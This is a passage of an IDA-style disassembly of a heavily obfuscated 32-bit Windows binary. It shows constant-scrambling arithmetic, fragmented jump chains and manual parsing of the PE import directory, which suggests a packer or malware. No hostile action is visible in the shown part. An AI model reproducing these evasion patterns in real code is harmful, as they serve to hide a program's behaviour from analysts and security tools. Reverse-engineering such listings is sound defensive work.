CODE XREF: sub_10013389+1BAj jz loc_10014325 jmp loc_1001CEF4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001D5F7: ; CODE XREF: sub_1001BBDA-73B8j pop ecx loc_1001D5F8: ; CODE XREF: sub_1001BBDA:loc_10015CFDj push 0FD28E452h pop eax and eax, 0D1CE9823h jmp loc_10014664 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001D609: ; CODE XREF: sub_100193F2:loc_1001ACD3j xchg edi, [esp+0] push eax push 0D4FBC9E5h pop eax add eax, 38B7BB3Fh xor eax, 0DB38524h jmp loc_1001DA32 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_1001D624: ; DATA XREF: sub_10015353+4C2Eo push edx push eax mov eax, [ebp-18h] shl eax, 2 cdq js loc_10014083 jmp loc_1001C55E ; --------------------------------------------------------------------------- rol ebx, 16h jmp loc_1001C6AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DBEB loc_1001D640: ; CODE XREF: sub_1001DBEB:loc_100176D5j mov eax, [esp+4+var_4] push edx call sub_1001B982 push 0DF1019EAh jmp loc_10018BB8 ; END OF FUNCTION CHUNK FOR sub_1001DBEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001D653: ; CODE XREF: sub_1001D4C9:loc_10014F18j jnz loc_1001C8C5 push offset sub_1001C8BC jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D37F loc_1001D663: ; CODE XREF: sub_1001D37F:loc_10017B83j call sub_10013BB8 call sub_1001A4DF mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] or edx, edx jmp loc_1001892F ; END OF FUNCTION CHUNK FOR sub_1001D37F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D67E: ; CODE XREF: sub_10013389+78B9j mov esi, [ebp+0] ror edi, 0Eh ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001D684: ; CODE XREF: sub_10013389:loc_1001551Cj ; sub_10014092:loc_10015C52j ... jmp loc_1001BA7F ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D689: ; CODE XREF: sub_10013389+11Fj ; sub_1001A97E-40B5j pop ecx jmp loc_1001D446 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001D68F: ; CODE XREF: sub_10019595:loc_10017574j push 985DBC5Bh pop edx sub edx, 0A9CA30E9h cmp edx, 46BA34C6h jmp loc_10016B5E ; END OF FUNCTION CHUNK FOR sub_10019595 ; =============== S U B R O U T I N E ======================================= sub_1001D6A6 proc near ; CODE XREF: sub_1001DAA8:loc_1001DAB4j ; FUNCTION CHUNK AT 1001848E SIZE 00000005 BYTES push ebx push 0D516B4F8h pop ebx sub ebx, 4FF8C1ACh add ebx, 8AE38DD4h push offset sub_1001A54C jmp loc_1001848E sub_1001D6A6 endp ; --------------------------------------------------------------------------- loc_1001D6C3: ; DATA XREF: sub_10018F13+9o mov ds:dword_100185F8, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001D6CA: ; CODE XREF: sub_10016734-2C15j jmp loc_10018236 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001D6CF: ; CODE XREF: sub_10014189+74B3j rol eax, 10h call sub_1001D4E5 loc_1001D6D7: ; CODE XREF: an.kk9rg:1001844Dj jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001D6DC: ; CODE XREF: sub_10019571:loc_1001550Cj jz loc_10017C64 jmp loc_10013B2B ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D251 loc_1001D6E7: ; CODE XREF: sub_1001D251+847j mov esi, ecx jmp loc_1001A506 ; END OF FUNCTION CHUNK FOR sub_1001D251 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D6EE: ; CODE XREF: sub_10015B5D:loc_1001660Cj sub eax, [ebp-0Ch] mov [ebp-0Ch], eax ; END OF FUNCTION CHUNK FOR sub_10015B5D ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001D6F4: ; CODE XREF: sub_10016F6B:loc_10016F7Aj ; sub_100142E8:loc_10019631j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax jmp loc_10019A0E ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_1001D702: ; CODE XREF: sub_10015DB9:loc_10016855j add edx, ebp call sub_100136D7 loc_1001D709: ; CODE XREF: an.kk9rg:1001809Cj jmp sub_10014189 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100151FD loc_1001D70E: ; CODE XREF: sub_100151FD:loc_1001D4ADj jnz loc_10015FA0 jmp loc_10018AED ; END OF FUNCTION CHUNK FOR sub_100151FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001D719: ; CODE XREF: sub_10015066:loc_10017519j shr ebx, 15h jno loc_100137C3 jmp loc_10016E08 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D727: ; CODE XREF: sub_10013389+4526j ror ebp, 1Ch jmp loc_10019C7A ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001D72F: ; CODE XREF: sub_10013061+1ECBj sub al, 99h push 14B86D42h xchg edi, [esp+0] mov edx, edi jmp loc_1001A2E9 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- dword_1001D740 dd 0 ; DATA XREF: an.kk9rg:10017E42w ; sub_10015B5D+28D5r dword_1001D744 dd 0 ; DATA XREF: sub_1001679F-F56r ; an.kk9rg:10016B15w ... dword_1001D748 dd 0 ; DATA XREF: sub_1001C26A+8r ; --------------------------------------------------------------------------- loc_1001D74C: ; CODE XREF: an.kk9rg:10017B0Dj jmp locret_10018C6F ; --------------------------------------------------------------------------- db 4Ah, 85h, 38h dword_1001D754 dd 0 ; DATA XREF: sub_10019571+1FA7r ; sub_10019571:loc_1001DB44w dword_1001D758 dd 0 ; DATA XREF: sub_10017803:loc_100177B2r ; sub_10015131+88ECw ; --------------------------------------------------------------------------- loc_1001D75C: ; CODE XREF: an.kk9rg:1001AB2Bj jmp loc_1001B342 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D761: ; CODE XREF: sub_10013389:loc_1001B560j jz loc_10018C2A jmp loc_100185FC ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push 0CE3638F4h jmp loc_1001C546 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D776: ; CODE XREF: sub_100136D7+8A78j and ecx, 0EDFF6974h and ecx, ebp jmp loc_10013729 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001D783: ; CODE XREF: sub_10019571:loc_100163F5j xor eax, 921D04E8h rol eax, 1Eh and eax, 0F756D165h test eax, 2000h jmp loc_10019D76 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- loc_1001D79D: ; CODE XREF: an.kk9rg:loc_1001AD10j pop ebp mov eax, [esp] push edx push edi push 788829A5h pop edi jmp loc_1001AC17 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D7AF: ; CODE XREF: sub_10013389+931Cj jmp loc_10015240 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D7B4: ; CODE XREF: sub_100136D7+8259j jmp loc_1001577D ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001D7B9: ; CODE XREF: sub_10016734+Ej jmp loc_1001B1B2 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FA0 loc_1001D7BE: ; CODE XREF: sub_10016FA0:loc_1001C19Cj jnz loc_10018C91 lea eax, [ebp-125h] push eax call sub_10018CA1 mov [ebp-4], eax jmp loc_1001B1EB ; END OF FUNCTION CHUNK FOR sub_10016FA0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add ebp, eax jmp sub_1001B2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001D7E0: ; CODE XREF: sub_1001C799-3D97j jz loc_1001C65D loc_1001D7E6: ; CODE XREF: an.kk9rg:loc_1001DB99j cmp ebx, 70B8A575h jmp loc_1001C651 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- add eax, 7C959F31h jmp loc_10015630 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A60 loc_1001D7FC: ; CODE XREF: sub_10015A60:loc_10019854j mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_1001BCAC[eax*4] call sub_10013150 ; END OF FUNCTION CHUNK FOR sub_10015A60 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D817: ; CODE XREF: sub_10013389:loc_10016DD5j jmp nullsub_173 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001D81C: ; DATA XREF: sub_100132E5+297Eo add eax, ebp add eax, 873B7E55h mov eax, [eax] mov ecx, [eax] jmp loc_100143B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A88A loc_1001D82D: ; CODE XREF: sub_1001A88Aj cmp dword ptr [ebp-10h], 2 jnz loc_1001C7B0 mov eax, [ebp+8] or dword ptr [eax-8], 8 ; END OF FUNCTION CHUNK FOR sub_1001A88A loc_1001D83E: ; CODE XREF: an.kk9rg:loc_10016437j jmp loc_1001C7B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D843: ; CODE XREF: sub_10015B5D-29F2j ; sub_10015B5D+5076j cmp dword ptr [ebp-1Ch], 67h loc_1001D847: ; CODE XREF: an.kk9rg:100196A9j jnz loc_1001D6F4 mov eax, 6 jmp loc_1001AE2F ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001D857: ; CODE XREF: sub_1001CF40-8A32j jnz loc_1001921B jmp loc_1001C818 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; =============== S U B R O U T I N E ======================================= sub_1001D862 proc near ; CODE XREF: sub_10015B5D-23DCp ; an.kk9rg:100196AFj ; FUNCTION CHUNK AT 1001D540 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-1Ch] jmp loc_1001D540 sub_1001D862 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D86E: ; CODE XREF: sub_10015B5D:loc_1001436Ej cmp dword ptr [ebp-1Ch], 0Fh jnz loc_1001D54F mov eax, [ebp-1Ch] shl eax, 8 jmp loc_1001B973 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B81 loc_1001D883: ; CODE XREF: sub_10016B81:loc_10013FD4j push offset sub_1001D8D9 jmp nullsub_206 ; END OF FUNCTION CHUNK FOR sub_10016B81 ; =============== S U B R O U T I N E ======================================= sub_1001D88D proc near ; CODE XREF: sub_10016734:loc_1001D08Fj ; FUNCTION CHUNK AT 10014112 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10014B6D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017C89 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10019BCA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D229 SIZE 0000000B BYTES push ebp jmp loc_10014112 sub_1001D88D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001D894: ; CODE XREF: an.kk9rg:loc_10019842j push 0ACD22B0Bh pop edi sub edi, 0E04F0230h add edi, 437E712Dh xchg edi, [esp] jmp loc_10019C45 ; --------------------------------------------------------------------------- loc_1001D8AE: ; CODE XREF: an.kk9rg:1001B4E8j ; an.kk9rg:1001B4F3j rol ebx, 17h and ebx, 6D7AD6ACh sub ebx, 37D30389h js loc_1001C22B ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001D8C3: ; CODE XREF: sub_100180C2+5ABBj jmp loc_10015314 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- jnz loc_1001536E jmp loc_1001C223 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001D8D4: ; CODE XREF: sub_10013688+6695j jmp loc_1001927A ; END OF FUNCTION CHUNK FOR sub_10013688 ; =============== S U B R O U T I N E ======================================= sub_1001D8D9 proc near ; DATA XREF: sub_10016B81:loc_1001D883o ; FUNCTION CHUNK AT 10016664 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D2B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C741 SIZE 0000000A BYTES mov ebx, [eax] add eax, 4 mov edi, [eax] add eax, 4 mov esi, [eax] add eax, 4 jmp loc_10016664 sub_1001D8D9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001D8ED: ; CODE XREF: sub_1001701B:loc_1001DF12j jnb loc_10017E63 push offset sub_1001603C jmp nullsub_177 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001D8FD: ; CODE XREF: sub_10016D66:loc_10014014j mov ebx, 0D90AA23Bh js loc_100174FA jmp loc_10013AA2 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001D90D: ; CODE XREF: sub_100193F2:loc_100146C2j cdq jmp loc_10018278 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001D913 proc near ; DATA XREF: sub_10013389+AEo push eax push offset sub_10015868 jmp loc_1001DB50 sub_1001D913 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D91E: ; CODE XREF: sub_100136D7+907Cj sbb esi, 8B939175h mov ecx, edx loc_1001D926: ; CODE XREF: an.kk9rg:100197E2j and ebp, esi loc_1001D928: ; CODE XREF: sub_1001D9A7-A757j ; sub_100136D7:loc_10013A5Fj ... jmp loc_10015B66 ; --------------------------------------------------------------------------- loc_1001D92D: ; CODE XREF: sub_100136D7+6533j ; sub_1001D9A7+7j xchg ebx, [esp-4+arg_0] mov ecx, ebx pop ebx jmp loc_1001800E ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001D938: ; CODE XREF: sub_10019473+16j sub eax, 0D7B2A0AAh add eax, 0F220C0E3h add eax, ebp add eax, 591499Dh jmp loc_1001860C ; END OF FUNCTION CHUNK FOR sub_10019473 ; =============== S U B R O U T I N E ======================================= sub_1001D951 proc near ; CODE XREF: an.kk9rg:1001752Dj ; sub_1001A54C:loc_1001B258p ; FUNCTION CHUNK AT 10014BD2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100166B7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100166D2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001A8FA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001B823 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C252 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx push edi push 2AB1C4D8h pop edi or edi, 2A336A00h and edi, 30E13793h jmp loc_100166B7 sub_1001D951 endp ; --------------------------------------------------------------------------- rol ecx, 1Dh jmp sub_1001D190 ; --------------------------------------------------------------------------- loc_1001D975: ; DATA XREF: sub_10017273:loc_10017283o jle loc_10017338 mov eax, [ebp-4] xor edx, edx push edx push eax mov eax, [ebp-8] cdq jmp loc_1001CA16 ; --------------------------------------------------------------------------- loc_1001D98B: ; CODE XREF: an.kk9rg:100152AEj or edi, 0ACB4E98Dh ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001D991: ; CODE XREF: sub_10016D66-1AC5j sub ebx, 2A70C68Bh add ebx, 37F0D5D7h mov [ebx], eax xchg ebp, [esp+8+var_8] jmp loc_10015B0F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_1001D9A7 proc near ; CODE XREF: sub_10019E2E-4F26p ; an.kk9rg:1001D071j ; FUNCTION CHUNK AT 10013248 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015D6A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AF94 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DA3C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx cmp byte ptr [eax], 0F1h jnz loc_1001D92D jmp loc_1001AF94 sub_1001D9A7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001D9B9: ; CODE XREF: sub_10019595:loc_1001938Cj ; sub_10019595-1FCj add ebx, 5801EB48h xchg ebx, [esp+0] jmp loc_10019986 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- call sub_1001997C ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001D9CC: ; CODE XREF: sub_10016A1B+4044j jmp loc_10016958 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001D9D1: ; CODE XREF: sub_1001498A+4067j jmp loc_10019AB9 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- loc_1001D9D6: ; CODE XREF: an.kk9rg:10013014j ; an.kk9rg:loc_1001C1ACj push eax push 6CD5B098h pop eax or eax, 32501FB4h and eax, 471F6250h add eax, 0C9EC65D9h xchg eax, [esp] jmp sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001590F loc_1001D9F7: ; CODE XREF: sub_1001590F+51E6j jz loc_1001382B ; END OF FUNCTION CHUNK FOR sub_1001590F ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001D9FD: ; CODE XREF: sub_10019409-3E39j jmp loc_1001B6E9 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- push edi cmp edi, 0CAD38DEh jmp loc_1001B057 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001DA0E: ; CODE XREF: sub_1001C535-50F8j cmp ebp, 68E45B54h jmp loc_1001CFDA ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_1001DA19: ; CODE XREF: sub_10015131:loc_100141C8j push eax ror eax, 0Ch mov ds:dword_1001D758, eax retn ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- loc_1001DA24: ; CODE XREF: an.kk9rg:10015E2Ej jmp locret_1001A843 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017803 loc_1001DA29: ; CODE XREF: sub_10017803-49j rol eax, 0Ch jmp loc_100158C6 ; END OF FUNCTION CHUNK FOR sub_10017803 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001DA32: ; CODE XREF: sub_100193F2+422Dj jmp loc_1001AD4B ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DA37: ; CODE XREF: sub_10013389+943Dj jmp loc_1001C46B ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_1001DA3C: ; CODE XREF: sub_1001D9A7-2A0Dj jmp loc_10015D6A ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A4DF loc_1001DA41: ; CODE XREF: sub_1001A4DF+17j jmp loc_10018338 ; END OF FUNCTION CHUNK FOR sub_1001A4DF ; --------------------------------------------------------------------------- loc_1001DA46: ; CODE XREF: an.kk9rg:1001ADDCj add ebp, 1452564Ah mov edi, 0E2A8E639h ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DA51: ; CODE XREF: sub_10013389:loc_1001ADC5j add eax, 6AE0BF79h mov eax, [eax] mov [ebp-4], eax jmp loc_10016CC5 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push eax call sub_1001DA6D retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017803 loc_1001DA68: ; CODE XREF: sub_10017803+7j jmp loc_100177B2 ; END OF FUNCTION CHUNK FOR sub_10017803 ; =============== S U B R O U T I N E ======================================= sub_1001DA6D proc near ; CODE XREF: an.kk9rg:1001DA62p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10017F3F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DEC4 SIZE 00000005 BYTES push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] jmp loc_1001DEC4 sub_1001DA6D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001DA78: ; CODE XREF: sub_100175DE:loc_1001CD9Dj call sub_10019C34 loc_1001DA7D: ; CODE XREF: an.kk9rg:10016B40j jmp loc_10014914 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_1001DA82: ; CODE XREF: sub_100132E5+3203j jmp loc_10015FFE ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_1001DA87: ; CODE XREF: sub_1001B45F+165Bj cdq ; END OF FUNCTION CHUNK FOR sub_1001B45F ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_1001DA88: ; CODE XREF: sub_1001A606:loc_10014470j call sub_10015B1B ; END OF FUNCTION CHUNK FOR sub_1001A606 ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_1001DA8D: ; CODE XREF: sub_1001A6F7+8j jmp loc_100179DF ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D251 loc_1001DA92: ; CODE XREF: sub_1001D251+Aj jnz loc_1001A512 jmp loc_1001D6E7 ; END OF FUNCTION CHUNK FOR sub_1001D251 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DA9D: ; CODE XREF: sub_10013389:loc_1001A779j jnz loc_1001D10A jmp loc_10014B2F ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001DAA8 proc near ; CODE XREF: sub_10018776+7p ; an.kk9rg:1001B0D3j xchg esi, [esp+0] pop esi push ecx mov esp, ebp call sub_10014A06 loc_1001DAB4: ; CODE XREF: sub_10016C77+6F8Ej jmp sub_1001D6A6 sub_1001DAA8 endp ; --------------------------------------------------------------------------- loc_1001DAB9: ; CODE XREF: an.kk9rg:10018169j jmp loc_10018D92 ; --------------------------------------------------------------------------- loc_1001DABE: ; CODE XREF: an.kk9rg:loc_100180B2j jmp loc_100161D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001DAC3: ; CODE XREF: sub_1001767A+2CA6j add esi, 93C38009h jmp loc_100155C2 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_1001DACE: ; CODE XREF: an.kk9rg:loc_10018ED3j call sub_1001537B ; START OF FUNCTION CHUNK FOR sub_1001D4E5 loc_1001DAD3: ; CODE XREF: sub_1001D4E5+Aj jmp nullsub_166 ; END OF FUNCTION CHUNK FOR sub_1001D4E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100170BC loc_1001DAD8: ; CODE XREF: sub_100170BC:loc_1001A009j jmp loc_10013550 ; END OF FUNCTION CHUNK FOR sub_100170BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100191F9 loc_1001DADD: ; CODE XREF: sub_100191F9+12j lea eax, [ebp-14h] xor edx, edx call sub_10019030 ; END OF FUNCTION CHUNK FOR sub_100191F9 ; START OF FUNCTION CHUNK FOR sub_1001A3F4 loc_1001DAE7: ; CODE XREF: sub_1001A3F4+Aj mov eax, ds:dword_10019650 push offset sub_1001901C jmp nullsub_167 ; END OF FUNCTION CHUNK FOR sub_1001A3F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A7CF loc_1001DAF6: ; CODE XREF: sub_1001A7CF:loc_1001756Fj rol edi, 9 xor edi, 98B1B500h add edi, 0EAB51666h xchg edi, [esp+4+var_4] jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_1001A7CF ; --------------------------------------------------------------------------- loc_1001DB0D: ; CODE XREF: an.kk9rg:1001476Fj and ebp, edi ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001DB0F: ; CODE XREF: sub_10015B5D:loc_10014758j add ecx, 53D598DDh sub ecx, 161F6D0h add ecx, 0A02AC439h xchg ecx, [esp+0] jmp loc_100177EA ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DB29: ; CODE XREF: sub_10013389+1F70j pop esi loc_1001DB2A: ; CODE XREF: sub_10013389:loc_100152E7j and eax, 0C24515ACh rol eax, 2 xor eax, 0AC30C631h test eax, 400000h jmp loc_1001D452 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001DB44: ; CODE XREF: sub_10019571:loc_10019695j mov ds:dword_1001D754, eax retn ; --------------------------------------------------------------------------- loc_1001DB4B: ; CODE XREF: sub_10019571+1FAFj call sub_1001DB5F loc_1001DB50: ; CODE XREF: sub_1001D913+6j jmp nullsub_169 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001DB55: ; CODE XREF: sub_1001492C+1E36j jmp loc_1001A078 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001DB5A: ; CODE XREF: sub_100141F5+6j jmp loc_1001A9FA ; END OF FUNCTION CHUNK FOR sub_100141F5 ; =============== S U B R O U T I N E ======================================= sub_1001DB5F proc near ; CODE XREF: an.kk9rg:100148DAj ; sub_10019571:loc_1001DB4Bp ; FUNCTION CHUNK AT 100187B1 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx rol eax, 0Fh push edx push eax pop edx jmp loc_100187B1 sub_1001DB5F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001DB6E: ; CODE XREF: sub_100180C2+4031j ja loc_1001B220 loc_1001DB74: ; CODE XREF: sub_1001504E:loc_10019F64j push 1D52FE52h pop eax rol eax, 19h jmp loc_1001D8C3 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015276 loc_1001DB82: ; CODE XREF: sub_10015276+14j mov eax, edi pop edi rol eax, 0Bh xor eax, 3CD2CB47h test eax, 1000h jmp loc_100187AC ; END OF FUNCTION CHUNK FOR sub_10015276 ; --------------------------------------------------------------------------- loc_1001DB99: ; CODE XREF: an.kk9rg:10017520j jg loc_1001D7E6 mov edi, 0DFC77377h ; START OF FUNCTION CHUNK FOR 